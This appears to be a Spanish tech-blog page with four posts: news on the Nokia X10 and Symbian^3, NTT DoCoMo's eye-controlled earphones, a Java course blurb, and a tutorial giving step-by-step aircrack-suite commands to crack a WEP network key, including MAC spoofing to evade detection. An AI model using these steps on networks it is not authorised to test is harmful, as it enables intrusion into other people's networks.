Nokia X10, primeros datos del que será un terminal con el nuevo Symbian^3

Mientras Android ha sido el claro vencedor de todo el MWC, Nokia lleva ya muchos años pasando bastante desapercibida. Siendo la empresa que llegó a ser a principios de la década, está claro que necesitan un cambio muy amplio para volver a llamar la atención del mercado y los usuarios.

Nokia X10 será un nuevo terminal de los finlandeses, y se presentará con la principal novedad de implementar el nuevo sistema Symbian^3. Dicho sistema operativo mejora mucho respecto de anteriores versiones, tal y como podéis ver en un vídeo más adelante, aunque aún tendremos que verlo en funcionamiento en un terminal final para considerar cualquier matiz y aportar una conclusión final.

Los terminales Nokia X Series estarán enfocados a usuarios jóvenes, pero que quieran un terminal con una potencia muy decente. En el caso del X10 hablamos de un procesador ARM Cortex A8 de 600 MHz., con una pantalla AMOLED de 3.2 pulgadas (se ve que Nokia ha aprendido rápido del 5800 y las pantallas resistivas), 256 MB de memoria RAM y cámara de 5 megapíxeles con flash de tipo LED. Por supuesto nos encontraremos con conectividad HSDPA, WiFi, Bluetooth y GPS, algo ya muy común en terminales de gama media, y muy interesante un teclado QWERTY completo y escondido tras la pantalla, acompañado de almacenamiento en base a tarjetas de memoria externas (seguramente microSD).

Nokia necesita dar un enorme giro a sus terminales. Necesita un superventas, algo como ha sido el iPhone o la HTC Magic, por citar un par de modelos. Symbian^3 aún está muy verde y no podemos compararlo con las nuevas versiones de sus sistemas competidores, como son Windows Phone 7 o Android 2.1, pero por ahora tiene buena pinta. No sabría deciros si mejor o peor que sus rivales, pero sí bastante mejor que sus anteriores versiones. Un vídeo de demostración a continuación:

Precio y fecha de lanzamiento del Nokia X10 son datos aún totalmente desconocidos, pero lo más probable es que lo veamos en los próximos meses. Un terminal con buen aspecto, unas especificaciones bastante decentes y que aunque no vaya a ser lo más potente del mercado (por ahí tenemos al HTC HD2, al Nexus One o al HTC Desire), sí podrá ser una buena baza para la inmensa mayoría de usuarios. Si Symbian^3 funciona correctamente y puede hacer frente a sus competidores, y además el precio final del dispositivo es algo abordable, entonces Nokia X10 tendrá mucho futuro.

En Genbeta | Symbian.
Vía | XatakaMovil.
Más información | Bestboyz.

Sistema de control de NTT DoCoMo basado en el movimiento de nuestros ojos y unos auriculares

No sólo teléfonos y sistemas operativos fueron presentados en el Mobile World Congress, compañías como la operadora japonesa NTT DoCoMo nos sorprendieron con accesorios y tecnología realmente innovadores. El caso que nos ocupa trata sobre un sistema de control basado en el movimiento de nuestros ojos, en el que se hace uso de unos particulares auriculares.

Tal y como lo leéis, y además podréis comprobar en el vídeo que acompaña la noticia, el movimiento de nuestros ojos es recogido por el innovador sistema y según el mismo realiza la opción pertinente. La tecnología está basada en medir los pequeños cambios de potencial eléctrico que se producen al mover nuestros ojos, en este caso la medición se realiza en nuestro oído externo a través de unos electrodos que incorporan los auriculares. Vamos a ver el citado vídeo:

En la demostración vemos un reproductor de música, nos ponen como ejemplo los típicos comandos de pausa, saltar de canción, o reproducir, pero esta vez relacionados con un movimiento en concreto de nuestros ojos. La cuestión es que el sistema funciona, sin tener que tocar los auriculares para nada, ni usar reconocimiento de voz, y según nos informan los desarrolladores lo sigue haciendo aunque tengamos los ojos cerrados.

La verdad que el sistema que nos proponía Sony Ericsson con sus MH907, también relacionaba el control con auriculares, pero sinceramente parece una broma al lado de esto. Independientemente de la viabilidad del desarrollo, es interesante ver como se avanza en este sentido. Ya se conocía sobre esta tecnología de NTT DoCoMo desde el pasado mes de octubre, pero ahora se está empezando a pasear por los principales eventos tecnológicos.

Vía | ElectricPig.

Tutorial ataque ChopChop

Vamos a indicar de una forma un poco teórica cómo se realiza el ataque de auditoria wireless llamado ChopChop.

Partimos de que ya tenemos un sistema Linux en el cual tenemos lo necesario para esta tarea. Si no es así recomiendo que os descargueis Wifiway o BackTrack, los podéis encontrar en Internet perfectamente.

Trabajaremos sobre el terminal, comprobar que teneis permisos de superusuario o por lo contrario no os permitirá el sistema ejecutar las aplicaciones.

Empecemos, abrimos un terminal y comprobaremos cual es nuestra tarjeta wireless, para ello ejecutamos:

  • iwconfig

Y nos quedamos con el nombre de nuestra interfaz que seguramente sea algo como «wlan0».

Ahora debemos ponerla en modo monitor para que podamos seguir trabajando (Nota: no todas las tarjetas permiten este modo), así que hacemos lo siguiente:

  • airmon-ng stop wlan0
  • ifconfig wlan0 down
  • macchanger -m 00:11:22:33:44:55 wlan0
  • airmon-ng start wlan0

Con esto hemos cambiado la MAC de nuestra tarjeta para evitar que nos detecten (que cojan nuestra autentica MAC, aunque recuerdo que esto es una auditoría) y hemos puesto nuestra tarjeta en modo monitor, si todo a salido bien.

A continuación tenemos que ver que red es la que queremos elegir como objetivo, para eso hacemos:

  • airodump-ng wlan0

Nos saldrá una lista de redes a nuestro alcance, mostrandonos datos como la MAC del router (bssid), el nombre(essid), el canal (ch)… Nos quedaremos con el canal y el bssid para centrarnos en una sola y guardar paquetes suyos:

  • airodump-ng -c CANAL -w NOMBRE_ARCHIVO_PAQUETES –bssid BSSID_OBJETIVO wlan0

Una vez que nos hemos centrado en esa red, tenemos que abrir otro terminal para intentar asociarnos.

  • aireplay-ng -1 0 -a BSSID_OBJETIVO -h MAC_FALSA wlan0

Si todo sale como es debido nos saldrá un mensaje diciendo:

  • Association successfull : – )

Una vez conseguido esto iniciamos el ataque en si:

  • aireplay-ng -5 -b BSSID_OBJETIVO -h MAC_FALSA wlan0

Esto buscará una paquete válido y nos dirá que si lo queremos usar para trabajar con él, le decimos que sí con un «yes» o con una «y». Despues de todo eso si nos ha creado un archivo con extension xor (*.xor) vamos por buen camino !! 😀

Vamos a convertir este paquete en un ARP para poderlo reinyectar y así obtener paquetes IVS de una manera mucho más rápida.

  • packetforge-ng -0 -a BSSID_OBJETIVO -h MAC_FALSA -k 255.255.255.255 -l 255.255.255.255 -y ARCHIVO_XOR -w ARP
  • aireplay-ng -2 -r ARP wlan0

Ya está, ahora sólo queda esperar a tener suficientes paquetes. Si queremos cuando tengamos 20000 ya podemos empezar a buscar la clave pero es muy dificil obtenerla con tan pocas. Con 2 millones la obtendremos sin esperar nada, así que tener paciencia 😛

Para realizar la búsqueda de la clave solo teneis que poner:

  • aircrack-ng NOMBRE_ARCHIVO_PAQUETES-01.cap

Listo !!! Ya está, esta es la forma de obtener la clave de una red con seguridad WEP mediante el ataque ChopChop. Espero haberos ayudados y que os haya ido todo bien, si tenéis algún problema no dudeis en comentar.

Un saludo !!!

Diseño de aplicaciones web con Patrones Java

Este curso pretente introducirte en el diseño y desarrollo de aplicaciones web, apoyándose en los principios básicos de la orientación a objetos y en el conocimiento de todo un conjunto de patrones específicos que aportan soluciones garantizadas a problemas recurrentes.
El curso se ha diseñado de tal forma que combina conocimientos teóricos con desarrollos prácticos que defienden los principios básicos del diseño y desarrollo de aplicaciones web profesionales en la plataforma Java EE. Se tomará como partida uno de los framework Modelo-Vista-Controlador más difundido en el ámbito profesional, Apache Struts, y además se introducirá al alumno en un amplio conjunto de tecnologías pertenecientes al mundo Java: JSP, Servlets y JDBC entre otras. Paralelamente se profundizará en el uso de un conjunto de estrategias y buenas prácticas de diseño definidas dentro del catálogo de Patrones J2EE.